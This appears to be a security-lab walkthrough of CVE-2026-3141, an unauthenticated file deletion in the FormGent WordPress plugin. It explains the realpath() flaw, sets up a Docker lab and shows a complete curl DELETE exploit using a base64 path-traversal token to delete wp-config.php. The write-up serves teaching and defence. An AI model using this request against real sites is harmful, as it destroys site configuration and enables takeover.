CVE-2026-3141: FormGent Unauthenticated Arbitrary File Deletion
Updated August 3, 2026 · Written by PWNMI — see About.
Path-traversal guards usually fail by being absent, or by being too permissive. This one fails because of what a single PHP function returns when the thing it's checking doesn't exist yet — a state the developer clearly didn't consider, and one that happens to be true on every fresh install. FormGent is a WordPress form-builder plugin (vendor: wpwax). CVE-2026-3141 is an unauthenticated arbitrary file deletion reachable through its own REST API, no login required.
This lab uses a real vulnerable version of the plugin, running fully isolated with no ports exposed beyond the Docker host itself. Affects FormGent through 1.9.2, fixed in 1.10.0. No public exploit PoC exists for this CVE — the vulnerable code path was located directly from NVD's own CVE-2026-3141 record and its reference links into the plugin's source.
What you'll practice: reading a containment check for the exact edge case its author didn't test, recognizing why a fresh install's missing state can be the vulnerable precondition rather than a fully configured one, and reasoning about wp-config.php as the single point of failure that decides whether a WordPress site is "installed" at all.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources, including the plugin zip itself — bundled directly so this lab needs no external download:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-3141
cd cve-labs/CVE-2026-3141
docker compose up -d
This brings up MariaDB, WordPress, and a one-shot wpcli container that installs WordPress and activates the plugin — deliberately without ever hitting the plugin's own upload endpoint, so wp-content/uploads/formgent/ never gets created. That missing directory is exactly the precondition this bug needs. Wait for the provisioner to finish:
until [ "$(docker inspect $(docker compose ps -qa wpcli) --format '{{.State.Status}}')" = "exited" ]; do sleep 2; done
docker compose logs wpcli
No ports are published — reach WordPress on its own address:
WP_IP=$(docker inspect $(docker compose ps -q wordpress) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
Understanding the vulnerability
FormGent registers DELETE /wp-json/formgent/responses/attachments, meant to let a form owner remove a file a visitor uploaded as part of a submission. The route has no permission_callback at all — reachable by anyone, logged in or not. That alone isn't fatal by itself if the handler is careful about which files it'll touch. It isn't.
The handler builds the target path from an attacker-supplied file_token (base64-encoded), then runs a containment check meant to keep deletions confined to the plugin's own upload folder:
$file_path = ABSPATH . 'wp-content/uploads/' . base64_decode( $request->get_param( "file_token" ) );
$read_file_path = realpath( $file_path );
$real_base_path = realpath( ABSPATH . 'wp-content/uploads/formgent' ) . DIRECTORY_SEPARATOR;
if ( $read_file_path === false || strpos( $read_file_path, $real_base_path ) !== 0 ) {
throw new Exception( "Invalid file path", 400 );
}
The idea is sound: resolve both paths to their real, canonical form, and reject anything outside the expected folder. The bug is in what realpath() does when wp-content/uploads/formgent doesn't exist — which is true on any fresh install, since that folder only gets created the first time someone actually uses the plugin's upload feature. PHP's realpath() on a nonexistent path returns false, not an empty string or an error. false . DIRECTORY_SEPARATOR isn't a type error here — PHP string-concatenates it as the literal text "/". Every absolute filesystem path starts with /, so strpos($read_file_path, "/") always returns 0, and a check that was supposed to compare "is this path inside my folder" degrades into "does this path start with a slash" — which is every path on the system.
The containment check doesn't fail open by accident; it fails open specifically because the folder it's supposed to protect happens not to exist yet.
Exploitation
Confirm the precondition — the plugin's upload directory genuinely isn't there:
docker compose exec wordpress ls -la /var/www/html/wp-content/uploads/formgent
That should come back "No such file or directory." Confirm wp-config.php is present before the attack:
docker compose exec wordpress ls -la /var/www/html/wp-config.php
Now send the delete request. file_token is base64 of ../../wp-config.php — walking back out of wp-content/uploads/ to the WordPress root:
TOKEN=$(python3 -c "import base64; print(base64.b64encode(b'../../wp-config.php').decode())")
curl -s -X DELETE "http://$WP_IP/wp-json/formgent/responses/attachments" \
-H "Content-Type: application/json" \
-d "{\"file_token\":\"$TOKEN\"}" -w '\nhttp_code:%{http_code}\n'
A 204 No Content is the controller's own success response for a delete. Confirm it actually happened, not just that the API claimed it did:
docker compose exec wordpress ls -la /var/www/html/wp-config.php
wp-config.php is gone — no authentication, no prior access, one unauthenticated DELETE request. wp-config.php is the one file that tells WordPress it's already installed: it holds the database credentials and the secret authentication keys/salts every session cookie is signed against. Deleting it doesn't just destroy a file, it reverts the entire site to WordPress's own "not yet installed" state, which is normally reached by walking through /wp-admin/install.php and creating a fresh admin account — the exact "complete site takeover" impact this CVE is rated for.
Cleanup
This one is genuinely destructive, and there's no request that reverses it. wp-config.php doesn't just hold configuration that can be regenerated from memory — it holds the site's unique authentication keys and salts, generated once at install time from WordPress.org's own secret-key API. Once the file is deleted, those specific values are gone. A new wp-config.php can be built with the same database credentials, but it will carry different keys, which invalidates every existing session cookie site-wide, whether or not they were involved in the attack. There is no path back to the exact file that existed before the request ran.
On a real engagement, treat this the same way the FreeScout account-takeover lab treats an unrecoverable password overwrite: confirm this specific technique is in scope before running it against anything but a disposable target you control, and if you do run it, document precisely what was deleted and when — the client needs that to understand the blast radius, since simply restoring a generic wp-config.php doesn't undo the underlying compromise (an attacker who deleted this file on a real target could just as easily walk through the reinstall wizard themselves and create a new administrator account before anyone notices the site is asking to be set up again).
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- A containment check needs to define its own failure mode, not inherit one from a library function's edge case.
realpath()returningfalsefor "doesn't exist" is documented, expected behavior — the bug isn't that PHP did something surprising, it's that the code never asked "what happens if this comparison runs against a value that means 'not found' instead of a real path?" - A fresh, mostly-empty install can be the vulnerable state, not the safe one. It's tempting to assume an application is more exposed once it's been configured and used. Here, the missing upload folder — present only on a brand-new site nobody's touched yet — is exactly what the exploit needs.
- The single file that marks a site as "installed" is a high-value target in its own right.
wp-config.phpisn't just configuration; losing it (or an attacker controlling its regeneration) collapses a running site back to its least-secured state — the install wizard, wide open to whoever gets there first.
Next step
For another CVE where a single missing "is this already set up" check turns into full unauthenticated administrator control, see CVE-2026-63030 (WordPress Core). For the tool doing the actual request-crafting in this walkthrough, see the curl cheatsheet.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.